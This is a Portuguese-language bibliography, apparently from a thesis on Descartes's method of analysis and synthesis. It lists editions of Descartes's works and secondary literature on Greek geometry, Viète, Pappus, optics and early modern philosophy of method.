REFERÊNCIAS BIBLIOGRÁFICAS

Obras de Descartes:

DESCARTES,
René. Oeuvres inédites de Descartes. Paris: Auguste Durand, 1859-60. 2
parties. Édition de Foucher de Careil.

_______. Regulae
ad directionem ingenii. Paris: Vrin, 1930. Texte de l’édition Adam et
Tannery; notice de Henry Gouhier.

_______. Correspondance. Paris: Félix Alcan/PUF, 1936-63. 8 vol.
Édition de C. Adam & G. Milhaud.

_______. Regulae ad directionem ingenii. La Haye: Martinus Nijhoff, 1966. Texte critique établi par Giovanni Crapulli avec la
version hollandaise du XVII siècle.

_______. Regras para a direcção do espírito. Lisboa: Editorial
Estampa, 1971. Tradução de António Reis.

_______. Règles utiles et claires pour la direction de l’esprit. La Haye: Martinus Nijhoff, 1977. Traduction et annotation conceptuelle par Jean-Luc Marion, avec
des notes mathématiques de P. Costabel.

_______. L’entretien avec Burman. Paris: PUF, 1981. Édition,
traduction et annotation par Jean-Marie Beyssade.

_______. Discurso do método; Meditações; Objeções e
respostas; As paixões da alma; Cartas. 3 ed. In: Os
pensadores. São Paulo: Abril Cultural, 1983.

_______. Regras para a direcção do espírito. Lisboa: Edições 70,
1985. Tradução de João Gama.

_______. Oeuvres philosophiques de Descartes. Paris: Garnier,
1988-89. 3 vol. Textes établis, présentés et annotés par Ferdinand Alquié.

_______. El mundo. Tratado de la luz. Barcelona: Anthropos, 1989.
Edición Bilingüe. Edición, introducción, traducción y notas de Salvio Turró.

_______. Le monde, l’homme. Paris: Seul, 1996. Introduction de A.
Bitbol-Hespériès.

_______. Lettre-préface des Principes de la philosophie.
Paris: Flammarion, 1996. Présentation et notes par Denis Moreau.

_______. Oeuvres. Paris: Vrin, 1996. 11 vol. Publiées par Charles Adam
e Paul Tannery.

_______. Règles pour la direction de l´esprit. Paris: Vrin, 1996. Traduction et notes par J. Sirven.

_______. Meditações sobre filosofia primeira. Campinas:
Unicamp/IFCH, 1999. Edição Bilíngüe. Tradução e nota prévia de Fausto Castilho.

Obras
relacionadas ao tema da pesquisa:

ALQUIÉ, F. La découverte métaphysique de l’homme chez Descartes.
Paris: PUF, 1950.

_______. A filosofia de Descartes. 2 ed. Lisboa: Editorial
Presença, 1986. Trad. M. Rodrigues Martins.

_______ (ed.). Oeuvres philosophiques de Descartes. Paris:
Garnier, 1988-89. 3 vol.

APOLLONIUS. Conics. Chicago: Britannica, 1952. Translated by
Thomas L. Heath.

_______. On conic sections. Cambridge: W. Heffer & Sons, 1961.
Edited by T. L. Heath.

ARAUJO, Cícero R. R. Verdade e interesse na cosmogonia de Descartes. In: Cadernos de história e filosofia da ciência. Campinas: CLE,
série 2, v. 2, 1990.

ARCHIMEDES. The works of Archimedes including the method. Chicago: Britannica, 1952. Translated by Thomas L. Heath.

ARIEW, R. Descartes and the tree of knowledge. In: Synthèse.
Kluwer Publications, July, 1992, v. 92, n. 1, pp. 101-116.

ARIEW, R. & GRENE, M. Descartes and his contemporaries. Chicago: The University of Chicago Press, 1995.

ARISTOTE. Organon. Paris: Vrin, 1992-1995. I – Catégories; II – De
l’interprétation; III – Les premiers analytiques; IV – Les seconds analytiques;
V – Les topiques; VI – Les réfutations sophistiques. Traduction nouvelle et
notes par J. Tricot.

ARMOGATHE, J-R & BELGIOIOSO, G. (org.). Descartes: Principia
Philosophiae. Napoli: Vivarium, 1996.

ARMOGATHE, J-R & MARION, J-L (org.). Index des Regulae ad directionem ingenii de René Descartes. Roma: Edizione dell´Ateneo, 1976.

ARNAULD, A. & NICOLE, P. La logique ou l’art de penser. Paris:
Gallimard, 1992.

BAILLET, Adrien. Vie de Monsieur Descartes. Paris: La Petite
Vermillon, 1946.

BATTISTI, César Augusto. Ordem e sujeito na filosofia cartesiana.
Porto Alegre: UFRGS, 1993. Dissertação de Mestrado.

_______. O método de análise em Descartes: da resolução
de problemas à constituição do sistema do conhecimento. São Paulo: USP, 2000.
Tese de Doutorado.

_______. A metodologia cartesiana e seu estatuto:
crítica a algumas teses tradicionais. In: PEREZ, Daniel Omar (org.). Ensaios
de filosofia moderna e contemporânea. Cascavel: Edunioeste, 2001, pp 33-78. Série Estudos Filosóficos.

BECK, L. J. The method of Descartes: a study of the Regulae. Oxford: Clarendon Press, 1952.

BELAVAL, Y. Leibniz critique de Descartes. Paris: Gallimard,
1960.

BELGIOIOSO, G. et alii (org.). Descartes: Il metodo e i saggi. Roma: Enciclopedia Italiana, 1990. 2 tomos.

BELLOSTA-BAYLET, Hélène. L’analyse et la synthèse selon
Ibrāhīm Ibn Sinān. Paris: Université Paris VII, 1994. Thèse
de doctorat.

BERTHET, J. P. Méthode de Descartes avant le discours. In: Revue
de métaphysique et de morale. Paris: Armand Colin, 1896, pp. 399-415.

BERTI, E. Differenza tra il metodo risolutivo degli aristotelici e la
“resolutio” dei matematici. In: Aristotelismo veneto e scienza moderna.
Padova: Antenore, 1983, v. I, pp. 345-457.

BEYSSADE, Jean-Marie. L’ordre dans les Principia. In: Les
études philosophiques. Paris: PUF, Jan-Mars, 1976, n. 4, pp. 387-403.

_______. La philosophie première
de Descartes. Paris: Flammarion, 1979.

_______. Scientia perfectissima. Analyse et synthèse dans les Principia.
In: Descartes: principia philosophiae. Napoli:
Vivarium, 1996, pp. 5-36.

BITBOL-HESPÉRIÈS, A. Le principe de vie chez Descartes. Paris:
Vrin, 1990.

_______. Le monde, l’homme de Descartes. Paris: Seul, 1996.

BLANCHÉ, Robert. História da lógica de Aristóteles a Bertrand Russel.
Lisboa: Edições 70, 1985.

BLAY, M. Luz e cores: o arco-íris cartesiano. In: FUKS, Saul. Descartes:
um legado científico e filosófico. Rio de
Janeiro: Relume Dumará, 1998, pp. 127-143.

BOS, H. J. M. On the representation of curves in Descartes’ Géométrie.
In: Archive for history of exact sciences. Heidelberg: Springer-Verlag,
1981, v. 24, n. 4, pp. 295-338.

_______. Arguments on motivation in the rise and decline of a
mathematical theory: the “Construction of Equations”, 1637-ca. 1750. In: Archive
for history of exact sciences. Heidelberg: Springer-Verlag, 1984, v. 30,
pp. 331-380.

_______. The structure of Descartes’ Géométrie. In: BELGIOIOSO, G.
et alii (org.). Descartes: Il metodo e i
saggi. Roma: Enciclopedia Italiana, 1990, tomo II, pp. 349-369.

BOYER, C. The history of the calculus and its conceptual development. New York: Dover, 1959.

_______. História da matemática. São Paulo: EDUSP/Edgard Blucher,
1974. Tradução de Elza Gomide.

_______. The rainbow: from myth to mathematics. New Jersey: Princeton University Press, 1987.

_______. History of analytic geometry. New Jersey: Princeton University Press, 1988.

_______. A history of mathematics. 2 ed. New York: J. Wiley, 1989.

BRUNSCHVICG, Jacques. La preuve ontologique
interprétée par M. Gueroult. In: Revue philosophique. Paris: PUF, Avril-Juin, 1960, n. 2, pp.
251-265.

_______. Réponse aux objections de M. Rochot. In: Revue
philosophique. Paris: PUF, Jul-Sep., 1962, n. 3, pp. 365-370.

BRUNSCHVICG, León. Les etapes de la philosophie mathématique. 3
ed. Paris: Librairie Félix Alcan, 1929.

BRUYÈRE, N. Méthode et dialectique dans l’oeuvre de La Ramée.
Paris: Vrin, 1984.

_______. Pierre de La Ramée: Dialectique 1555. Paris: Vrin, 1996.

BUCHDAHL, Gerd. Descartes: method and metaphysics. In: Metaphysics
and the philosophy of science: the classical origins, Descartes to Kant. Oxford: Basil Blackwell, 1969, pp. 79-180.

BURKE, J. G. Descartes on the refraction and the velocity of light.
In: American journal of physics. May, 1966, v. 34, n. 5, pp. 390-400.

BURTT, Edwin A. As bases metafísicas da ciência moderna. Brasília: Universidade de Brasília, 1983.

BUZON, F. de & CARRAUD, V. Descartes et les “Principia” II: corps et mouvement. Paris: PUF, 1994.

CHERNISS, H. Plato as mathematician. In: Review of metaphysics. March, 1951, v. 4, n. 3 pp. 395-425.

CHIAPPIN, J.
R. N. Racionalidade, decisão, solução de problemas e o programa racionalista.
In: Ciência e filosofia. São Paulo: USP/FFLCH, n. 5, 1996, pp. 155-219.

CLARKE, D. M. La
filosofía da la ciencia de Descartes. Madrid: Alianza, 1986. Traducción de
Eloy Rada.

_______. Occult powers and hypotheses. Oxford: Clarendon Press, 1989.

CORNFORD, F. M. Mathematics and dialectics in the Republic VI-VII. In: Mind. London: n. 41, 1932, pp. 37-52; 173-190.

COSTABEL, Pierre. Démarches originales de Descartes savant. Paris: Vrin, 1982.

COTTINGHAM, John. A filosofia de Descartes. Lisboa: Ed. 70, 1989.

_______ (ed.). The Cambridge companion to Descartes. Cambridge: Cambridge University Press, 1992.

_______. Dicionário Descartes. Rio de Janeiro: Zahar, 1995.

CRAPULLI, Giovanni. Mathesis universalis: genesi di un’idea nel
XVI secolo. Roma: Edizioni dell’Ateneo, 1969.

CRESCINI, A La teoria del “regressus” di fronte all’epistemologia
moderna. Teorie moderne del metodo. In: Aristotelismo veneto e scienza
moderna. Padova: Antenore, 1983, v. II, pp. 575-590.

CURLEY, E. Spinoza: as an expositor of Descartes. In: Speculum
spinozanum. London: Routledge & Kegan Paul, 1977, pp. 133-142.

DEAR, P. Mersenne’s suggestion: cartesian meditation and the
mathematical model of knowledge in the seventeenth century. In: ARIEW, R. &
GRENE, M. Descartes and his contemporaries. Chicago: The University of Chicago Press, 1995, pp. 44-62.

DELEUZE, Gilles. Spinoza et le problème de l’expression. Paris: Éd. de Minuit, 1968.

DENISSOFF, Elie. Descartes, premier théoricien de la physique
mathématique. Louvain: Publications Universitaries de Louvain, 1970.

DESAN, P. P. Naissance de la méthode. Paris: Nizet, 1977.

DIJKSTERHUIS, E. J. La méthode et les Essais de Descartes. In: Descartes et le cartésianisme hollandais. Paris: PUF, 1950, pp. 21-44.

DIOPHANTE D’ALEXANDRIE. Les six livres arithmétiques et le livre des
nombres polygones. Paris: Albert Blanchard, 1959. Introduction e notes par Paul
ver Eecke.

__________. Les arithmétiques. Paris: Les Belles Lettres, 1982. 2 vol.

DUGAS, R. La mécanique au XVII siècle. Paris: Dunod, 1954.

DUHAMEL, J. M.-C. Des méthodes dans les sciences de raisonnement.
3. ed. Paris: Gauthier-Villars, 1885.

DUPLEIX, S. La logique ou art de discourir et raisonner. Paris: Fayard, 1984.

EASTWOOD, B. S. Descartes on refraction: scientific versus
rhetorical method. In: Isis. Sep., 1984, v. 75, n. 278, pp. 481-502.

EDWARDS, W. F. L’aristotelismo padovano e le origini delle teorie
moderne del metodo. In: Aristotelismo veneto e scienza moderna.
Padova: Antenore, 1983a, v. I, pp. 187-203.

_______. Paduan aristotelianism and the origin of modern theories of
method. In: Aristotelismo veneto e scienza moderna.
Padova: Antenore, 1983b, v. I, pp. 206-220.

ESPINOSA, B. de. Ética. In: Os pensadores. São Paulo: Nova
Cultural, v. 2, 1989.

EUCLIDES. The thirteen books of Euclid’s Elements. Chicago: Britannica, 1952. Translated by Thomas L. Heath.

_______. The thirteen books of Euclid’s Elements. New York: Dover Publications, 1956. 3 vol. Translated by Thomas L.
Heath.

_______. Les données. Paris: Albert Blanchard, 1966. Introduction
par J. Itard et traduction de F. Peyrard.

EVES, H. Introdução à história da matemática. 2 ed. Campinas:
Editora da Unicamp, 1997. Tradução de
Hygino Domingues.

FAUVEL, J. & GRAY, J. The history of mathematics: a reader. London: The Open University, 1987.

FERRIER, R. D. To exegetical treatises of François Viète translated,
annotated, and explained. Indiana: Indiana University Press, 1980. PhD.
thesis.

FRANKFURT, Harry G. Descartes on
the consistency of reason. In: Descartes: critical and
interpretative essays. Baltimore/London: The Johns Hopkins University Press, 1978.

FREGUGLIA, Paolo. Ars analytica: matematica e methodus nella
seconda metà del cinquecento. Varese: Bramante, 1988.

FUKS, Saul. Descartes: um legado científico e filosófico. Rio de
Janeiro: Relume Dumará, 1998.

GADOFFRE, G. Sur la chronologie du Discours de la Méthode. In: Revue d’histoire de la philosophia et d’histoire générale de la civilisation.
Lille: Université de Lille, Jan-Mars, 1943, fasc. 33, pp. 45-70.

GALISON, PP. Descartes’s comparisons: from the invisible to the
visible. In: Isis. June, 1984, v. 75, n. 277, pp. 311-326.

GARBER, Daniel. Descartes et la méthode en 1637. In: GRIMALDI, N.
& MARION, J-L (org). Le discours et sa méthode. Paris: PUF, 1987,
pp. 65-87.

_______. Descartes and method in 1637. In: PSA. 1988, v. 2,
pp. 225-236.

­­_______. Descartes’ metaphysical physics.
Chicago/London: The University of Chicago Press, 1992.

_______. Descartes and experiment in the Discourse and Essays.
In: VOSS, S. (ed). Essays on the philosophy of René Descartes. New York: Oxford University Press, 1993, pp. 288-310.

_______. J-B. Morin and the Second Objections. In: ARIEW, R. &
GRENE, M. Descartes and his contemporaries. Chicago: The University of Chicago Press, 1995, pp. 63-82.

GARBER, D. & COHEN, L. A point of order: analysis, synthesis
and Descartes’s principles. In: Archiv für Geschichte der Philosophie. Berlin: Walter de Gruyter, 1982, pp. 136-147.

GAUKROGER, Stephen. Cartesian logic. Oxford: Clarendon Press,
1989.

_______. Descartes: an intellectual biography. Oxford: Clarendon
Press, 1995.

_______ (ed.). Descartes: philosophy, mathematics and
physics. Sussex/New Jersey: The Harvester and Barnes & Noble Books, 1980.

GEWIRTZ, Alan. Experience and the none-mathematical in the
cartesian method. In: Journal of the histoy of ideas. April, 1941,
v. II, n. 2, pp. 183-210.

_______. Clearness and distinctness in Descartes. New York: Double day & Co, Inc., 1967.

GIBSON, B. La “Géométrie” de Descartes au point de vue de sa
méthode (1637). In: Revue de Métaphysique et de Morale. Paris:
Armand Colin, 1896, pp. 386-398.

_______. The Regulae of Descartes. In: Mind. London: Williams and Norgate, April, 1898, v. VII, n. 26, pp. 145-158 e pp. 332-363.

GILBERT, N. W. Renaissance concepts of method. New York: Columbia University Press, 1960.

_______. Galileo and the school of Padua. In: Journal of the
history of philosophy, Dec., 1963, v. I, n. 2, pp. 223-231.

GILBERT, W. On the magnet. New York: Basic Books, 1958.

GILSON, Étienne. Index scolastico-cartésien. Paris: Vrin, 1979.

_______. Études sur le rôle de la pensée médiévale dans la formation
du systeme cartésien. 5 ed. Paris: Vrin, 1984.

_______. Discours de la méthode: texte et commentaire. 6
ed. Paris: Vrin, 1987.

GIUSTI, E. Numeri, grandezze e géométrie. In: BELGIOIOSO, G. et alii (org.). Descartes: Il metodo e i saggi. Roma: Enciclopedia Italiana, 1990, tomo II, pp.
419-439.

GOUHIER, Henri. La pensée religieuse de Descartes. Paris: Vrin, 1924.

_______. Essais sur Descartes. Paris: Vrin, 1937.

_______. Descartes: essais sur le “Discours de la méthode”,
la métaphysique et la morale. 3 ed. Paris: Vrin, 1973.

_______. La pensée métaphysique de Descartes. 3 ed. Paris: Vrin.
1978.

GRIMALDI, N. L’expérience de la pensée dans la philosophie de
Descartes. Paris: Vrin, 1978.

GRIMALDI, N. & MARION, J-L (org.). Le Discours et sa méthode. Paris: PUF, 1987.

GROSHOLZ, Emily. Cartesian method and the problem of reduction. Oxford: Clarendon Press, 1991.

GUENANCIA, Pierre. Descartes. Rio de Janeiro: Jorge Sahar Editor, 1991.

GUERLAC, H. Newton and the method of analysis. In: Dictionary
od the history of ideas. New York: Charles Scribner’s Sons, 1973, pp.
378-391.

GUEROULT, Martial. Descartes selon l’ordre des raisons. Paris: Montaigne, 1953. 2 vol.

_______. Métaphysique et physique de la force chez Descartes et chez
Malebranche. In: Revue de métaphysique et de morale. Paris: Armand
Colin, Jan-Mars, 1954, n. 1, pp. 1-37 e n. 2, pp. 113-134.

_______. De la métode prescrite par Descartes pour comprendre sa
philosophie. In: Archiv für Geschichte
der Philosophie. Berlin: Walter de Gruyter, 1962, v. 44, n. 2, pp. 172-183.

_______. Études sur Descartes, Spinoza, Malebranche et Leibniz. Hildesheim: Georg
Olms, 1970.

GULLEY, Normah. A análise geométrica grega. In: Cadernos de história e filosofia da ciência. Campinas: CLE,
1983, n. 4, pp. 16-27.

HAMELIN, O. El sistema de Descartes. Buenos Aires: Editorial
Losada, 1949 (1911, original francês).

HEATH, T. L. A history of Greek mathematics. Oxford: Clarendon
Press, 1921.

_______. The thirteen books of Euclid’s Elements. New York: Dover Publications, 1956. 3 vol. Translated by Thomas L.
Heath.

_______. Diophantus of Alexandria: a study in the history of greek
algebra. 2 ed. New York: Dover, 1964.

HEGENBERG, L. Lógica: o cálculo sentencial. São Paulo: Herder,
1972.

HELDEN, A. van. The telescope in the seventeenth century. In: Isis. March, 1974, v. 65, n. 226, pp. 38-58.

HINTIKKA, Jaakko. Cogito, ergo sum: inference or performance. In: The
philosophical review. New York: Cornell University, Jan., 1962, v. LXXI,
pp. 3-32.

_______. Logic, language-games
and information: kantian themes in the philosophy of logic. Oxford: Clarendon Press, 1973.

_______. A discourse on Descartes’ method. In: HOOKER, Michael. Descartes: critical and interpretive essays. Baltimore: The Johns Hopkins Universitity
Press, 1978, pp. 74-88.

HINTIKKA, Jaakko & REMES, Unto. The method of analysis.Dordretch: Publishing Company, 1974.

_______. A análise geométrica antiga e a lógica moderna. In: Cadernos de história e filosofia da ciência. Campinas: CLE, 1983, n. 4, pp.
28-47.

HONMA, E. Beeckman’s natural philosophy. In: Historia
scientiarum. Tokyo: University of Tokyo, March, 1996, v. 5, n. 3, pp.
225-247.

HOOKER, M. Descartes: critical and interpretive essays. Baltimore: The Johns Hopkins University Press, 1978.

HUYGENS, Christian. Traité de la lumiére. Paris: Dunod, 1992.

IBN AL-HAYTHAM. Sur l’analyse et la synthèse. In: Mélanges de
l’Institut Dominicain d’études orientales du Caire – MIDEO. Paris: Peeters, 1991, n. 20, pp. 31-231. Traduction et commentaire de R. Rashed.

IBN SINĀN, Ibrāhīm. Traité sur la méthode de l’analyse
et de la synthèse. In:
BELLOSTA-BAYLET, Hélène. L’analyse et la synthèse selon Ibrāhīm Ibn
Sinān. Paris: Université Paris VII, 1994, pp. 1-120. Thèse de
doctorat.

ISRAEL, G. Dalle Regulae alla Géométrie. In: BELGIOIOSO, G. et alii (org.). Descartes: Il metodo e i saggi. Roma: Enciclopedia Italiana,
1990, tomo II, pp. 441-474.

JARDINE, N. Galileo’s road to truth and the demonstrative
regress. In: Studies in history and philosophy of science. 1976,
vol. 7, n. 4, pp. 277-318.

JONG, W. R. de. Kant’s theory of geometrical reasoning and the
analytic-synthetic distinction. In: Studies in history and philosophy of
science. March, 1997, Great Bretain, Pergamon, v. 28, n. 21, pp. 141-166.

JULLIEN, Vincent. Descartes – la Géométrie de 1634. Paris: PUF, 1996.

KÉPLER, J. Paralipomènes a Vitellion. Paris: Vrin, 1980.
Traduction, introduction et notes par C. Chevalley.

_______. Dioptrique. Paris: A. Blanchard, 1990. L’introduction
pour le tube optique de Charles Frisch, traduction et notes par J. Peyroux.

KLEIN, Jacob. Greek mathematical thought and the origin of algebra.
New York: Dover, 1968.

KNORR, Wilbur Richard. The ancient tradition of geometric problems.
Boston/Basel/ Stuttgart: Birkhäuser, 1986.

KOBAYASHI, Michio. La philosophie naturelle de Descartes. Paris: Vrin, 1993.

KORTEWEG, D. J. Descartes et les manuscrits de Snellius. In: Revue
de métaphysique et de morale. Paris: Armand Colin, 1896, pp. 489-501.

KOYRÉ, A. Essai sur l’idée de Dieu et les preuves de son existence
chez Descartes. Paris: Ernest Leroux, 1922.

_______. Introduction à la lecture de Platon, suivi de Entretiens
sur Descartes. Paris: Gallimard, 1962.

_______. Estudos galilaicos. Lisboa: Publicações Dom Quixote,
1986.

_______. Estudos de história do pensamento filosófico. Rio de Janeiro: Forense, 1991.

KRAUS, P. A. From universal mathematics to universal method:
Descartes´s “turn” in Rule IV of the Regulae. In: Journal of the history
of philosophy. 1983, vol. xxi, n. 2, pp. 159-174.

LAFRANCE, Y. Aristote et l’analyse géométrique. In: Philosophiques.
Bellarmin, Oct, 1978, v. V, n. 2, pp. 271-307.

LAKATOS, I. Mathematics, science and epistemology. Cambridge: Cambridge University Press, 1978.

LANDIM FILHO, Raul Ferreira. Evidência e verdade no sistema cartesiano.
São Paulo: Loyola, 1992.

LAPORTE, Jean. Le racionalisme de Descartes. Paris: PUF, 1988.

LEIBNIZ, G. W. Novos ensaios sobre o entendimento humano. In: Os
pensadores. São Paulo: Nova Cultural, v. 1 e 2, 1988.

_______. Phisolophical writings. London: Everyman, 1995.

LENOIR, T. Descartes and the geometrization of thought: the
methodological background of Descartes’ Géométrie. In: Historia
mathematica. New York: Academic Press, Feb., 1979, v. 6, pp. 355-379.

LIARD, L. Lógica. São Paulo: Nacional, 1979.

LOPARIC’, Zeljko. A procura de Descartes segundo a ordem das
dificuldades. In: Discurso. São Paulo: 1975, n. 6, pp.151-185.

_______. The methods of analysis in Kant’s speculative philosophy. Campinas: Unicamp, 1982. Tese de livre docência.

_______. Paradigmas cartesianos. In: Cadernos de história e
filosofia da ciência. Campinas: CLE, 1988, série 2, v. 1, n. 2, pp. 67-83.

_______. Sobre o método de Descartes. In: Manuscrito. Campinas: CLE, out., 1991, v. XIV, n. 2, pp.
93-112.

_______. Descartes heurístico. Campinas: IFCH/ UNICAMP, 1997.
Republicação dos artigos sobre Descartes.

LORIA, G. Descartes géomètre. In: Revue de métaphysique et de morale. Paris: Armand Colin,
1937, pp. 199-220.

MAHONEY, M. S. Another look at Greek geometrical analysis. In: Archive
for history of exact sciences. Berlin: Springer-Verlag, 1968, v. 5, n. 3/4,
pp. 318-48.

_______. The mathematical career of Pierre de Fermat. 2 ed.
Princeton: Princeton University Press, 1973.

MANCOSU, P. Philosophy of mathematics and mathematical practice in the
seventeenth century. New York: Oxford University Press, 1996.

MARION, Jean-Luc. Sur l’ontologie grise de Descartes. 2 ed. Paris: Vrin, 1981.

_______. Sur la théologie blache de Descartes. Paris: PUF, 1991.

_______ (org.). Règles utiles et claires pour la direction de l’esprit.
La Haye: Martinus Nijhoff. Traduction de Jean-Luc Marion, avec de notes
mathématiques de P. Costabel, 1977.

MARTINET, M. Science et hypothèses chez Descartes. In: Archives
internationales d’histoire des sciences. Wiesbaden, Steiner, Déc., 1974, v.
24, n. 95, pp. 319-339.

_______. La theorie de la lumière selon Descartes. In: Recherches
sur le XVII siècle I. Paris: CNRS, 1976, pp. 92-110.

MÉCHOULAN, H. Problématic et réception du discours de la méthode et
des essais. Paris: Vrin, 1988.

MERSENNE, Marin. Correspondance du P. Marin Mersenne, religieux minime.
Paris: Cornelius de Waard, 1932-88, 17 vol.

MILHARD, G. Descartes savant. Paris: Alcan, 1921.

MOLLAND, A. G. Shifting the foundations: Descartes’s
transformation of ancient geometry. In: Historia mathematica. New York: Academic Press, Feb., 1976, v. 3, pp. 21-49.

NADLER, S. M. Deduction, confirmation, and the laws of nature in
Descartes‘s Principia Philosophiae. In: Journal of the history of
philosophy, July, 1990, v. XXVIII, n. 3, pp. 359-383.

OLIVIERI, L. Aristotelismo veneto e scienza moderna. Padova:
Antenore, 1983, 2 vol.

PAPPUS DE ALEXANDRIA. La collection mathématique. Paris: A. Blanchard, 1982 (1^ª édition
française, 1933). Traduction, avec une introduction et des notes par Paul Ver
Eecke.

_______. Pappi Alexandrini mathematicae collectiones a Fed. Commandino
urbinate in latinum conversae et commentariis illustratae. Pisauri: 1588.

PAPULI, G. La teoria del “regressus” come metodo scientifico negli
autori della Scuola di Padova. In: Aristotelismo veneto e scienza
moderna. Padova: Antenore, 1983, v. I, pp. 221-277.

PERINI, R. Circa la specifità del discorso metafisico e l’alternativa
analisi/sintesi. In: Descartes: Principia philosophiae. Napoli: Vivarium, 1996, pp. 255-282.

PÓLYA, George. How to solve it, a new aspect of mathematical method. Princeton University Press, 1945.

_______. A arte de resolver problemas. Rio de Janeiro:
Interciência, 1978.

RANDALL, J. H. Development of scientific method in the school of Padua. In: Journal of the histoy of ideas. April, 1940, v. 1, n. 2,
pp. 177-206.

RASHED, Roshdi. L’analyse et la synthèse selon Ibn al-Haytham. In: Mathématiques et philosophie de l’antiquité à l’âge classique.
Paris: Centre de la Recherche Scientifique, 1991a.

_______. La philosophie des mathématiques d’Ibn al-Haytham. In: Mélanges
de l’Institut Dominicain d’études orientales du Caire – MIDEO. Louvain: Peeters, 1991b, n. 20, pp. 1-30.

RISSE, W. Zabarellas methodenlehre. In: Aristotelismo veneto e scienza moderna. Padova: Antenore, 1983a, v. I, pp. 155-172.

_______. La dottrina del metodo di Zabarella. In: Aristotelismo
veneto e scienza moderna. Padova: Antenore, 1983b, v. I, pp. 173-186.

RIVAUD, A. Quelques réflexions sur la méthode cartésienne. In: Revue
de métaphysique et de morale. Paris: Armand Colin, 1937, pp. 35-62.

ROBERT, A. Descartes et l’analyse des anciens. In: Archives de
philosophie (Autour du “Discours de la Méthode”). Paris: Beauchesne, 1937, v. 13, n. 2, pp. 221-242.

ROBINET, André. Aux sources de l’ésprit cartésien. Paris: Vrin, 1996.

ROBINSON, Richard. A análise na geometria grega. In: Cadernos
de história da filosofia da ciência. Campinas: CLE, 1983, n. 4, pp. 5-15.

ROCHOT, B. La preuve ontologique intérpretée par M. Gueroult (Réponse
aux “objections” de M. J. Brunschwig). In: Revue philosophique. Paris: PUF, Jan-Mars, 1961, n. 1, pp.
125-130.

RODIS-LEWIS, Geneviève. Machineries et perspectives curieuses dans
leurs rapports avec le cartésianisme. In: XVII siècle. Paris: Juillete, 1956, n. 3, pp. 461-474.

_______. L´oeuvre de Descartes. Paris: Vrin, 1971. 2 vol.

_______. Hipothèses sur l’élaboration progressive des Méditations de Descartes. In: Archives de philosophie. Paris: Beauchesne,
Jan-Mars, 1987, tome 50, cahier, 1, pp. 109-123.

_______. Descartes: Biographie. Paris: Calmann-Lévy, 1995.

SABRA, A. I. Theories of light from Descartes to Newton. London: Oldbourne, 1967.

SCHOLZ, H. A axiomática dos antigos. In: Cadernos de história e
filosofia da ciência. 1980, pp. 5-20.

SCHOULS, P. A. The imposition of method. Oxford: Oxford University Press/Clarendon Press, 1980.

SCHUSTER, J. A. Cartesian method as mythic speech: a diachronic
and structural analysis. In: SCHUSTER, J. A &. YEO, R. R. (ed.). The
politics and rhetoric of scientific method. Dordrecht: Reidel, 1986, pp.
33-95.

_______. Whatever should we do with cartesian method? Reclaiming
Descartes for the history of science. In: VOSS, S. (ed.). Essays on the
philosophy of René Descartes. New York: Oxford University Press, 1993, pp.
195-223.

SCHUSTER, J. A &. YEO, R. R. (ed.). The politics and rhetoric of
scientific method. Dordrecht: Reidel, 1986.

SCOTT, J. F. The scientific work of René Descartes. London: Taylor & Francis Ltd., 1976 (1^ª ed., 1952).

SEPPER, Dennis L. Descartes’s imagination. Los Angeles: University of California Press, 1996.

SERFATI, M. Les compas cartésiens. In: Archives de philosophie. Avril, Juin, 1993, tome 56, pp.
197-230.

SHAPIRO, A. E. Light, pressure, and rectilinear propagation:
Descartes’ celestial optics and Newton’s hydrostatics. In: Studies in
history and philosophy of science. Oxford: Alden & Mowbray, Nov., 1974,
v. 5, n. 4, pp. 239-296.

SHEA, W. R. The magic of numbers and motion: the scientific career
of René Descartes. Canton (U.S.A.): Science History Publications, 1991.

SIRVEN, J. Les années d’apprentissage de Descartes. Paris: Albi, 1928. Thèse pour le doctorat ès lettres.

SMITH, A. Mark. Descartes’s theory of light and refraction: a
discourse on method. In: Transactions. Philadelphia: Amercican
Philosophical Society, 1987, v. 77, part. 3.

SOUZA, Roberto Lima de. Sobre o problema
da interpretação do método de análise – da concepção
tradicional à visão de Hintikka e Remes. Campinas: UNICAMP, 1985. Dissertação
de Mestrado.

_______. O método de análise da geometria grega: a questão do
justificacionismo na interpretação dos historiadores da matemática. In: Cadernos
de história e filosofia da ciência. Campinas: UNICAMP/CLE, 1990, série 2,
v. 2, n. 1, pp. 67-83.

SPARBERG, E. B. Misinterpretation of theories of light. In: American
journal of physics. May, 1966, v. 34, n. 5, pp. 377-389.

SZCZECINIARZ, J-J. Descartes, la géométrie et la Géométrie. Manuscrito, 22 pp.

TANNERY, Paul. Memoires scientifiques. Paris: Gauthier-Villars,
1912. 5 vol.

THOMSON, A. Ignace de Loyola et Descartes. In: Archives de
philosophie. Jan-Mars, 1972, tome 35, cahier I, pp. 61-85.

TIMMERMANS, Benoît. La résolution des problèmes de Descartes à Kant.
Paris: PUF, 1995.

TLUMAK, Jeffrey. Certainty and cartesian method. In: HOOKER,
Michael. Descartes: critical and interpretative essays. Baltimore: The Johns Hopkins University Press, 1978, pp. 40-73.

TURRÓ, Salvio (ed.). René Descartes: El mundo. Tratado de la luz. Barcelona: Anthropos, 1989. Edición
Bilingüe. Edición, introducción, traducción y notas de Salvio Turró.

VAULÉZARD, J. L. (org.). La nouvelle algèbre de M. Viète. Paris: Fayard, 1986,
Précedée de introduction en l’art analytique.

VER EECKE, P. (ed.). La collection mathématique de Pappus d’Alexandrie.
Paris: A. Blanchard, 1982 (1^ª edição francesa, 1933).

VIÈTE. François. L’algèbre nouvelle de M. Viète. Trad. en françois
par A. Vasset. Paris: Pierre Rocolet, 1630.

_______. In artem analyticen isagoge. In: Opera mathematica.
Hildesheim/New York: Georg Olms Verlag, 1970, pp. 1-12. Original: 1646.

_______. La nouvelle algèbre de M. Viète. Précedée de introduction
en l’art analytique. Paris: Fayard, 1986. Traduction de J. L.Vaulézard.

VOSS, S. (ed.). Essays on the philosophy of René Descartes. New York: Oxford University Press, 1993.

VUILLEMIN, Jules. Mathématiques et métaphysique chez Descartes. Paris: PUF, 1960.

WAERDEN, B. L. van der. A history of algebra. Heilderberg:
Springer-Verlag, 1985.

WEBER, J. P. La constituition du texte des Regulae. Paris: Societé d’Édition d’Enseignement Supérieur, 1964a.

_______. Sur la composition de la Regula IV de Descartes. In: Revue
philosophique de la France et de l’Étranger. Paris: PUF, 1964b.

_______. La méthode de Descartes d’ après les Regulae. In: Archives de philosophie. Jan-Mars, 1972, tome
35, cahier I, pp. 51-60.

WICKELGREN, W. A. How to solve mathematical problems. New York: Dover, 1974.

WILLIAMS, Bernard. Descartes: the project of pure enquiry. New York: Penguin Books, 1978.

